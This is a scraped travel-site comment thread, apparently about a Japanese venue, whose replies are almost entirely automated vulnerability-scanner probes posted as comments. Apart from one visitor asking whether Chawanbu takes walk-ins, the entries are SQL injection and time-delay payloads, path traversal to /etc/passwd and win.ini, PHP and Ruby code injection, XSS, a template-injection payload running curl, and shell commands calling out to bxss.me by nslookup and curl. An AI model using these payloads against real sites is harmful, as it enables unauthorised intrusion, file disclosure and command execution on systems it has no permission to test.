\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
re: Leo Saito
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
re: Leo Saito
Http://bxss.me/t/fit.txt
re: Leo Saito
WEB-INF/web.xml
re: Leo Saito
http://bxss.me/t/fit.txt%3F.jpg
re: Leo Saito
WEB-INF\web.xml
re: Leo Saito
/etc/shells
re: Leo Saito
c:/windows/win.ini
re: Leo Saito
bxss.me
re: Leo Saito
'.gethostbyname(lc('hitpy'.'avarpogr002cb.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(73).chr(108).chr(74).'
re: Leo Saito
".gethostbyname(lc("hitso"."wjykradm657ce.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(76).chr(120).chr(79)."
re: Leo Saito
HttP://bxss.me/t/xss.html?%00
re: Leo Saito
bxss.me/t/xss.html?%00
re: Leo Saito
"+"A".concat(70-3).concat(22*4).concat(108).concat(72).concat(108).concat(78)+(require"socket"
Socket.gethostbyname("hitoz"+"rmxzktjda750c.bxss.me.")[3].to_s)+"
re: Leo Saito
'+'A'.concat(70-3).concat(22*4).concat(119).concat(85).concat(109).concat(89)+(require'socket'
Socket.gethostbyname('hitcz'+'qzxmzmphf9b80.bxss.me.')[3].to_s)+'
re: Leo Saito
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
re: Leo Saito
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: Leo Saito
';print(md5(31337));$a='
re: Leo Saito
";print(md5(31337));$a="
re: Leo Saito
'"
re: Leo Saito
${@print(md5(31337))}
re: Leo Saito
<!--
re: Leo Saito
${@print(md5(31337))}\
re: Leo Saito
'.print(md5(31337)).'
re: Leo Saito
1
re: Leo Saito
1
re: Leo Saito
-1 OR 2+212-212-1=0+0+0+1 --
re: Leo Saito
-1 OR 3+212-212-1=0+0+0+1 --
re: Leo Saito
-1 OR 2+505-505-1=0+0+0+1
re: Leo Saito
-1 OR 3+505-505-1=0+0+0+1
re: Leo Saito
-1' OR 2+331-331-1=0+0+0+1 --
re: Leo Saito
-1' OR 3+331-331-1=0+0+0+1 --
re: Leo Saito
-1' OR 2+889-889-1=0+0+0+1 or 'ET7WRnOt'='
re: Leo Saito
-1' OR 3+889-889-1=0+0+0+1 or 'ET7WRnOt'='
re: Leo Saito
-1" OR 2+673-673-1=0+0+0+1 --
re: Leo Saito
-1" OR 3+673-673-1=0+0+0+1 --
re: Leo Saito
if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
1 waitfor delay '0:0:15' --
re: Leo Saito
HTht6uoL'; waitfor delay '0:0:15' --
re: Leo Saito
-5 OR 983=(SELECT 983 FROM PG_SLEEP(15))--
re: Leo Saito
-5) OR 780=(SELECT 780 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 677=(SELECT 677 FROM PG_SLEEP(15))--
re: Leo Saito
wKs6QRNW' OR 364=(SELECT 364 FROM PG_SLEEP(15))--
re: Leo Saito
ORxfLUFi') OR 136=(SELECT 136 FROM PG_SLEEP(15))--
re: Leo Saito
5tOwyjNk')) OR 863=(SELECT 863 FROM PG_SLEEP(15))--
re: Leo Saito
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
1'"
re: Leo Saito
@@HvlTs
re: Leo Saito
1
re: Leo Saito
1
re: Leo Saito
1
re: Leo Saito
1E5B9A34P0
re: Leo Saito
response.write(9949515*9091104)
re: Leo Saito
'+response.write(9949515*9091104)+'
re: Leo Saito
"+response.write(9949515*9091104)+"
re: Leo Saito
../../../../../../../../../../../../../../etc/passwd
re: Leo Saito
<esi:include src="http://bxss.me/rpb.png"/>
re: Leo Saito
../../../../../../../../../../../../../../windows/win.ini
re: Leo Saito
${9999387+9999075}
re: Leo Saito
file:///etc/passwd
re: Leo Saito
../
re: Leo Saito
)
re: Leo Saito
!(()&&!|*|*|
re: Leo Saito
^(#$!@#$)(()))******
re: Leo Saito
redirtest.acx
re: Leo Saito
echo lqjqus$()\ tedrml\nz^xyu||a #' &echo lqjqus$()\ tedrml\nz^xyu||a #|" &echo lqjqus$()\ tedrml\nz^xyu||a #
re: Leo Saito
&echo voskrd$()\ jnxpqz\nz^xyu||a #' &echo voskrd$()\ jnxpqz\nz^xyu||a #|" &echo voskrd$()\ jnxpqz\nz^xyu||a #
re: Leo Saito
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: Leo Saito
|echo hxulhg$()\ oqgibk\nz^xyu||a #' |echo hxulhg$()\ oqgibk\nz^xyu||a #|" |echo hxulhg$()\ oqgibk\nz^xyu||a #
re: Leo Saito
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: Leo Saito
expr 9000169270 - 939582
re: Leo Saito
'.gethostbyname(lc('hitqs'.'socsfcpkdd365.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(84).chr(107).chr(66).'
re: Leo Saito
/etc/shells
re: Leo Saito
(nslookup -q=cname hitvetszbcqol00d38.bxss.me||curl hitvetszbcqol00d38.bxss.me))
re: Leo Saito
".gethostbyname(lc("hithi"."knottvxa763de.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(87).chr(110).chr(75)."
re: Leo Saito
../../../../../../../../../../../../../../etc/shells
re: Leo Saito
ctime
sleep
p0
(I30
tp1
Rp2
.
re: Leo Saito
$(nslookup -q=cname hittsouwuarkad6ee6.bxss.me||curl hittsouwuarkad6ee6.bxss.me)
re: Leo Saito
gethostbyname(lc('hitjv'.'nuplozpcb8dc4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(79).chr(111).chr(69)
re: Leo Saito
c:/windows/win.ini
re: Leo Saito
&nslookup -q=cname hitmjrxupkftq8d88d.bxss.me&'\"`0&nslookup -q=cname hitmjrxupkftq8d88d.bxss.me&`'
re: Leo Saito
bxss.me
re: Leo Saito
&(nslookup -q=cname hitovumltqjrw7382b.bxss.me||curl hitovumltqjrw7382b.bxss.me)&'\"`0&(nslookup -q=cname hitovumltqjrw7382b.bxss.me||curl hitovumltqjrw7382b.bxss.me)&`'
re: Leo Saito
Http://bxss.me/t/fit.txt
re: Leo Saito
|(nslookup -q=cname hitjgmnejukem0ab80.bxss.me||curl hitjgmnejukem0ab80.bxss.me)
re: Leo Saito
http://bxss.me/t/fit.txt?.jpg
re: Leo Saito
`(nslookup -q=cname hitrdtrrvqjdp8a529.bxss.me||curl hitrdtrrvqjdp8a529.bxss.me)`
re: Leo Saito
;(nslookup -q=cname hitzmgkqpshhc266fc.bxss.me||curl hitzmgkqpshhc266fc.bxss.me)|(nslookup -q=cname hitzmgkqpshhc266fc.bxss.me||curl hitzmgkqpshhc266fc.bxss.me)&(nslookup -q=cname hitzmgkqpshhc266fc.bxss.me||curl hitzmgkqpshhc266fc.bxss.me)
re: Leo Saito
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: Leo Saito
|(nslookup${IFS}-q${IFS}cname${IFS}hitgtuwbqbamg031a8.bxss.me||curl${IFS}hitgtuwbqbamg031a8.bxss.me)
re: Leo Saito
';print(md5(31337));$a='
re: Leo Saito
&(nslookup${IFS}-q${IFS}cname${IFS}hitanbkqodsibe9d72.bxss.me||curl${IFS}hitanbkqodsibe9d72.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitanbkqodsibe9d72.bxss.me||curl${IFS}hitanbkqodsibe9d72.bxss.me)&`'
re: Leo Saito
";print(md5(31337));$a="
re: Leo Saito
'"()
re: Leo Saito
${@print(md5(31337))}
re: Leo Saito
'&&sleep(27*1000)*bzwrux&&'
re: Leo Saito
HttP://bxss.me/t/xss.html?%00
re: Leo Saito
${@print(md5(31337))}\
re: Leo Saito
"&&sleep(27*1000)*mnmglk&&"
re: Leo Saito
bxss.me/t/xss.html?%00
re: Leo Saito
'.print(md5(31337)).'
re: Leo Saito
'||sleep(27*1000)*feklzz||'
re: Leo Saito
"||sleep(27*1000)*tdgidb||"
re: Leo Saito
"+"A".concat(70-3).concat(22*4).concat(120).concat(72).concat(114).concat(78)+(require"socket"
Socket.gethostbyname("hitkd"+"pvhftgvwaeb18.bxss.me.")[3].to_s)+"
re: Leo Saito
'+'A'.concat(70-3).concat(22*4).concat(118).concat(80).concat(99).concat(71)+(require'socket'
Socket.gethostbyname('hitfk'+'eulxkebu06916.bxss.me.')[3].to_s)+'
re: Leo Saito
'A'.concat(70-3).concat(22*4).concat(108).concat(73).concat(106).concat(72)+(require'socket'
Socket.gethostbyname('hitvo'+'nzjdiyihef492.bxss.me.')[3].to_s)
re: Leo Saito
'"
re: Leo Saito
<!--
re: Leo Saito
replies
re: Leo Saito
replies
re: Leo Saito
replies/.
re: Leo Saito
'"()&%<zzz><ScRiPt >J7QN(9206)</ScRiPt>
re: Leo Saito
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitlhceqcxrkr382d2.bxss.me")}}
re: Leo Saito
'"()&%<zzz><ScRiPt >J7QN(9802)</ScRiPt>
re: Leo Saito
9207280
re: Leo Saito
RLUPOaXE
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
-1 OR 5*5=25 --
re: Leo Saito
-1 OR 5*5=26 --
re: Leo Saito
-1 OR 5*5=25
re: Leo Saito
-1 OR 5*5=26
re: Leo Saito
*if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
-1 waitfor delay '0:0:15' --
re: Leo Saito
i5GyC2IC'; waitfor delay '0:0:15' --
re: Leo Saito
-1 OR 845=(SELECT 845 FROM PG_SLEEP(15))--
re: Leo Saito
-1) OR 349=(SELECT 349 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 574=(SELECT 574 FROM PG_SLEEP(15))--
re: Leo Saito
TJyUdkuP' OR 663=(SELECT 663 FROM PG_SLEEP(15))--
re: Leo Saito
bjiwjRP1') OR 423=(SELECT 423 FROM PG_SLEEP(15))--
re: Leo Saito
bCPecECK')) OR 348=(SELECT 348 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
'"
re: Leo Saito
@@zFBoP
re: Leo Saito
(select 198766*667891)
re: Leo Saito
(select 198766*667891 from DUAL)
re: Leo Saito
qJEdrD25
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
-1 OR 5*5=25 --
re: Leo Saito
-1 OR 5*5=26 --
re: Leo Saito
-1 OR 5*5=25
re: Leo Saito
-1 OR 5*5=26
re: Leo Saito
*if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
-1 waitfor delay '0:0:15' --
re: Leo Saito
ZyNsBF5h'; waitfor delay '0:0:15' --
re: Leo Saito
-1 OR 469=(SELECT 469 FROM PG_SLEEP(15))--
re: Leo Saito
-1) OR 541=(SELECT 541 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 807=(SELECT 807 FROM PG_SLEEP(15))--
re: Leo Saito
lyp9NzIE' OR 152=(SELECT 152 FROM PG_SLEEP(15))--
re: Leo Saito
uuXijjSt') OR 582=(SELECT 582 FROM PG_SLEEP(15))--
re: Leo Saito
uXen4n1E')) OR 306=(SELECT 306 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
'"
re: Leo Saito
@@uRfEX
re: Leo Saito
(select 198766*667891)
re: Leo Saito
(select 198766*667891 from DUAL)
re: Leo Saito
67gctdJs
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
-1 OR 5*5=25 --
re: Leo Saito
-1 OR 5*5=26 --
re: Leo Saito
-1 OR 5*5=25
re: Leo Saito
-1 OR 5*5=26
re: Leo Saito
*if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
-1 waitfor delay '0:0:15' --
re: Leo Saito
HpYnBYp8'; waitfor delay '0:0:15' --
re: Leo Saito
-1 OR 136=(SELECT 136 FROM PG_SLEEP(15))--
re: Leo Saito
-1) OR 436=(SELECT 436 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 340=(SELECT 340 FROM PG_SLEEP(15))--
re: Leo Saito
HroCKxTU' OR 290=(SELECT 290 FROM PG_SLEEP(15))--
re: Leo Saito
K74NVwMr') OR 601=(SELECT 601 FROM PG_SLEEP(15))--
re: Leo Saito
bzieUPDb')) OR 248=(SELECT 248 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
'"
re: Leo Saito
@@TRlZD
re: Leo Saito
(select 198766*667891)
re: Leo Saito
(select 198766*667891 from DUAL)
re: Leo Saito
9jCrAbtG
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
-1 OR 2+115-115-1=0+0+0+1
re: Leo Saito
-1 OR 3+115-115-1=0+0+0+1
re: Leo Saito
if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
1 waitfor delay '0:0:15' --
re: Leo Saito
ebZ3DNmO'; waitfor delay '0:0:15' --
re: Leo Saito
-5 OR 512=(SELECT 512 FROM PG_SLEEP(15))--
re: Leo Saito
-5) OR 720=(SELECT 720 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 919=(SELECT 919 FROM PG_SLEEP(15))--
re: Leo Saito
SAOQZ0RU' OR 449=(SELECT 449 FROM PG_SLEEP(15))--
re: Leo Saito
q1wXPl4U') OR 183=(SELECT 183 FROM PG_SLEEP(15))--
re: Leo Saito
6PiB5tdU')) OR 373=(SELECT 373 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
1'"
re: Leo Saito
@@TChCd
re: Leo Saito
PsbwQZlC
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
-1 OR 5*5=25 --
re: Leo Saito
-1 OR 5*5=26 --
re: Leo Saito
-1 OR 5*5=25
re: Leo Saito
-1 OR 5*5=26
re: Leo Saito
*if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
-1 waitfor delay '0:0:15' --
re: Leo Saito
blRGlmhf'; waitfor delay '0:0:15' --
re: Leo Saito
-1 OR 497=(SELECT 497 FROM PG_SLEEP(15))--
re: Leo Saito
-1) OR 122=(SELECT 122 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 670=(SELECT 670 FROM PG_SLEEP(15))--
re: Leo Saito
cTjkBNPF' OR 660=(SELECT 660 FROM PG_SLEEP(15))--
re: Leo Saito
rZyplZDp') OR 817=(SELECT 817 FROM PG_SLEEP(15))--
re: Leo Saito
3Xege923')) OR 137=(SELECT 137 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
'"
re: Leo Saito
@@jneQL
re: Leo Saito
(select 198766*667891)
re: Leo Saito
(select 198766*667891 from DUAL)
Hi Saito San. Regarding Chawanbu, is walk in possible or do I need a reservation to visit?
re: paul_paulpiwat
YsoRCOVA
re: paul_paulpiwat
1*
re: paul_paulpiwat
1*
re: paul_paulpiwat
1*
re: paul_paulpiwat
1*
re: paul_paulpiwat
-1 OR 2+219-219-1=0+0+0+1
re: paul_paulpiwat
-1 OR 3+219-219-1=0+0+0+1
re: paul_paulpiwat
if(now()=sysdate(),sleep(15),0)
re: paul_paulpiwat
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: paul_paulpiwat
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: paul_paulpiwat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: paul_paulpiwat
-1; waitfor delay '0:0:15' --
re: paul_paulpiwat
-1); waitfor delay '0:0:15' --
re: paul_paulpiwat
1 waitfor delay '0:0:15' --
re: paul_paulpiwat
PGMbAnrz'; waitfor delay '0:0:15' --
re: paul_paulpiwat
-5 OR 593=(SELECT 593 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-5) OR 486=(SELECT 486 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-1)) OR 693=(SELECT 693 FROM PG_SLEEP(15))--
re: paul_paulpiwat
0qgRgQJe' OR 502=(SELECT 502 FROM PG_SLEEP(15))--
re: paul_paulpiwat
Hwa01nnQ') OR 804=(SELECT 804 FROM PG_SLEEP(15))--
re: paul_paulpiwat
kJJmVKgL')) OR 888=(SELECT 888 FROM PG_SLEEP(15))--
re: paul_paulpiwat
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: paul_paulpiwat
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: paul_paulpiwat
'||(select 1 from (select pg_sleep(15))x)||'
re: paul_paulpiwat
''||(select 1 from (select pg_sleep(15))x)||''
re: paul_paulpiwat
1'"
re: paul_paulpiwat
@@MFhQQ
re: paul_paulpiwat
1woLsOmz
re: paul_paulpiwat
1*
re: paul_paulpiwat
1*
re: paul_paulpiwat
1*
re: paul_paulpiwat
1*
re: paul_paulpiwat
-1 OR 2+580-580-1=0+0+0+1
re: paul_paulpiwat
-1 OR 3+580-580-1=0+0+0+1
re: paul_paulpiwat
if(now()=sysdate(),sleep(15),0)
re: paul_paulpiwat
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: paul_paulpiwat
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: paul_paulpiwat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: paul_paulpiwat
-1; waitfor delay '0:0:15' --
re: paul_paulpiwat
-1); waitfor delay '0:0:15' --
re: paul_paulpiwat
1 waitfor delay '0:0:15' --
re: paul_paulpiwat
EKiBm0mL'; waitfor delay '0:0:15' --
re: paul_paulpiwat
-5 OR 379=(SELECT 379 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-5) OR 459=(SELECT 459 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-1)) OR 674=(SELECT 674 FROM PG_SLEEP(15))--
re: paul_paulpiwat
bYrQ1bN6' OR 30=(SELECT 30 FROM PG_SLEEP(15))--
re: paul_paulpiwat
VoOpYwME') OR 126=(SELECT 126 FROM PG_SLEEP(15))--
re: paul_paulpiwat
UAN2bRcR')) OR 131=(SELECT 131 FROM PG_SLEEP(15))--
re: paul_paulpiwat
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: paul_paulpiwat
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: paul_paulpiwat
'||(select 1 from (select pg_sleep(15))x)||'
re: paul_paulpiwat
''||(select 1 from (select pg_sleep(15))x)||''
re: paul_paulpiwat
1'"
re: paul_paulpiwat
@@yM8zC
re: paul_paulpiwat
1kAbCxBCO
re: paul_paulpiwat
response.write(9584869*9972309)
re: paul_paulpiwat
'+response.write(9584869*9972309)+'
re: paul_paulpiwat
"+response.write(9584869*9972309)+"
re: paul_paulpiwat
%0abcc:074625.67-10271.67.fe9bd.19990.2@bxss.me
re: paul_paulpiwat
to@example.com>%0d%0abcc:074625.67-10272.67.fe9bd.19990.2@bxss.me
re: paul_paulpiwat
../../../../../../../../../../../../../../etc/passwd
re: paul_paulpiwat
../../../../../../../../../../../../../../windows/win.ini
re: paul_paulpiwat
<esi:include src="http://bxss.me/rpb.png"/>
re: paul_paulpiwat
file:///etc/passwd
re: paul_paulpiwat
../../../../../../../../../../../../../../../proc/version
re: paul_paulpiwat
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
re: paul_paulpiwat
${9999725+10000061}
re: paul_paulpiwat
../../../../../../../../../../etc/passwd%00.jpg
re: paul_paulpiwat
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
re: paul_paulpiwat
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
re: paul_paulpiwat
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
re: paul_paulpiwat
/etc/passwd
re: paul_paulpiwat
echo ceeydq$()\ fypwgy\nz^xyu||a #' &echo ceeydq$()\ fypwgy\nz^xyu||a #|" &echo ceeydq$()\ fypwgy\nz^xyu||a #
re: paul_paulpiwat
%2fetc%2fpasswd
re: paul_paulpiwat
&echo fezwmr$()\ giwcrp\nz^xyu||a #' &echo fezwmr$()\ giwcrp\nz^xyu||a #|" &echo fezwmr$()\ giwcrp\nz^xyu||a #
re: paul_paulpiwat
/.././.././.././.././.././.././.././../etc/./passwd%00
re: paul_paulpiwat
|echo tzpjzx$()\ tasznq\nz^xyu||a #' |echo tzpjzx$()\ tasznq\nz^xyu||a #|" |echo tzpjzx$()\ tasznq\nz^xyu||a #
re: paul_paulpiwat
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
re: paul_paulpiwat
)
re: paul_paulpiwat
(nslookup hitawwubkxrpoab6fc.bxss.me||perl -e "gethostbyname('hitawwubkxrpoab6fc.bxss.me')")
re: paul_paulpiwat
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
re: paul_paulpiwat
!(()&&!|*|*|
re: paul_paulpiwat
$(nslookup hitgiqqxrccgj1a4ba.bxss.me||perl -e "gethostbyname('hitgiqqxrccgj1a4ba.bxss.me')")
re: paul_paulpiwat
../././../././../././../././../././../././../././../././../././../././etc/passwd
re: paul_paulpiwat
^(#$!@#$)(()))******
re: paul_paulpiwat
&nslookup hitnzqnkdhrdcd2451.bxss.me&'\"`0&nslookup hitnzqnkdhrdcd2451.bxss.me&`'
re: paul_paulpiwat
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
re: paul_paulpiwat
